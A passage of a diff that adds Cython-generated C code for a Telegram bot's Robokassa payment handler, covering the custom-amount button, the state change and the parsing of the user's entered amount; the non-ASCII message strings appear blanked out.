__pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 231, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":232 + * + * builder = InlineKeyboardBuilder() + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_robokassa")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 232, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 232, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 232, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_kp_u__25) < 0) __PYX_ERR(0, 232, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_pay_robokassa) < 0) __PYX_ERR(0, 232, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 232, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_8}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 232, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":234 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_robokassa")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 234, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 234, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":236 + * await callback_query.message.answer( + * ", .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_8) < 0) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/robokassa_pay.py":234 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_robokassa")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__27, __pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 234, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 234, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 234, __pyx_L1_error) + } + } + + /* "handlers/payments/robokassa_pay.py":239 + * ) + * + * await state.set_state( # <<<<<<<<<<<<<< + * ReplenishBalanceState.waiting_for_payment_confirmation_robokassa + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 239, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/robokassa_pay.py":240 + * + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_robokassa # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 240, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 240, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_2}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 239, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 239, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 239, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/robokassa_pay.py":224 + * + * + * @router.callback_query(F.data == "enter_custom_amount_robokassa") # <<<<<<<<<<<<<< + * async def process_custom_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_AddTraceback("process_custom_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_18generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/robokassa_pay.py":244 + * + * + * @router.message(ReplenishBalanceState.waiting_for_payment_confirmation_robokassa) # <<<<<<<<<<<<<< + * async def handle_custom_amount_input(message: types.Message, state: FSMContext): + * tg_id = message.chat.id + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_17handle_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13robokassa_pay_17handle_custom_amount_input = {"handle_custom_amount_input", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13robokassa_pay_17handle_custom_amount_input, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_17handle_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_message = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("handle_custom_amount_input (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_message,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_message)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 244, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 244, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("handle_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 244, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "handle_custom_amount_input") < 0)) __PYX_ERR(0, 244, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_message = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("handle_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 244, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.robokassa_pay.handle_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13robokassa_pay_16handle_custom_amount_input(__pyx_self, __pyx_v_message, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_16handle_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("handle_custom_amount_input", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 244, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_message = __pyx_v_message; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13robokassa_pay_18generator4, __pyx_codeobj__28, (PyObject *) __pyx_cur_scope, __pyx_n_s_handle_custom_amount_input, __pyx_n_s_handle_custom_amount_input, __pyx_n_s_handlers_payments_robokassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.robokassa_pay.handle_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_18generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + Py_ssize_t __pyx_t_4; + Py_UCS4 __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + unsigned int __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + int __pyx_t_12; + PyObject *__pyx_t_13 = NULL; + int __pyx_t_14; + PyObject *__pyx_t_15 = NULL; + int __pyx_t_16; + char const *__pyx_t_17; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("handle_custom_amount_input", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L11_resume_from_await; + case 2: goto __pyx_L12_resume_from_await; + case 3: goto __pyx_L13_resume_from_await; + case 4: goto __pyx_L21_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 244, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":246 + * @router.message(ReplenishBalanceState.waiting_for_payment_confirmation_robokassa) + * async def handle_custom_amount_input(message: types.Message, state: FSMContext): + * tg_id = message.chat.id # <<<<<<<<<<<<<< + * logger.info(f"User {tg_id} entered custom amount: {message.text}") + * inv_id = 0 + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 246, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 246, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":247 + * async def handle_custom_amount_input(message: types.Message, state: FSMContext): + * tg_id = message.chat.id + * logger.info(f"User {tg_id} entered custom amount: {message.text}") # <<<<<<<<<<<<<< + * inv_id = 0 + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyTuple_New(4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u_User); + __pyx_t_4 += 5; + __Pyx_GIVEREF(__pyx_kp_u_User); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u_User); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u_entered_custom_amount); + __pyx_t_4 += 24; + __Pyx_GIVEREF(__pyx_kp_u_entered_custom_amount); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u_entered_custom_amount); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = __Pyx_PyObject_FormatSimple(__pyx_t_6, __pyx_empty_unicode); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_7) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_7) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_7); + __Pyx_GIVEREF(__pyx_t_7); + PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_t_7); + __pyx_t_7 = 0; + __pyx_t_7 = __Pyx_PyUnicode_Join(__pyx_t_1, 4, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_7}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_8, 1+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":248 + * tg_id = message.chat.id + * logger.info(f"User {tg_id} entered custom amount: {message.text}") + * inv_id = 0 # <<<<<<<<<<<<<< + * + * try: + */ + __pyx_cur_scope->__pyx_v_inv_id = 0; + + /* "handlers/payments/robokassa_pay.py":250 + * inv_id = 0 + * + * try: # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + { + __Pyx_ExceptionSave(&__pyx_t_9, &__pyx_t_10, &__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_11); + /*try:*/ { + + /* "handlers/payments/robokassa_pay.py":251 + * + * try: + * amount = int(message.text) # <<<<<<<<<<<<<< + * if amount <= 0: + * raise ValueError(" .") + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 251, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 251, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":252 + * try: + * amount = int(message.text) + * if amount <= 0: # <<<<<<<<<<<<<< + * raise ValueError(" .") + * + */ + __pyx_t_3 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L4_error) + __pyx_t_12 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 252, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(__pyx_t_12)) { + + /* "handlers/payments/robokassa_pay.py":253 + * amount = int(message.text) + * if amount <= 0: + * raise ValueError(" .") # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_ValueError, __pyx_tuple__11, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 253, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_Raise(__pyx_t_3, 0, 0, 0); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __PYX_ERR(0, 253, __pyx_L4_error) + + /* "handlers/payments/robokassa_pay.py":252 + * try: + * amount = int(message.text) + * if amount <= 0: # <<<<<<<<<<<<<< + * raise ValueError(" .") + * + */ + } + 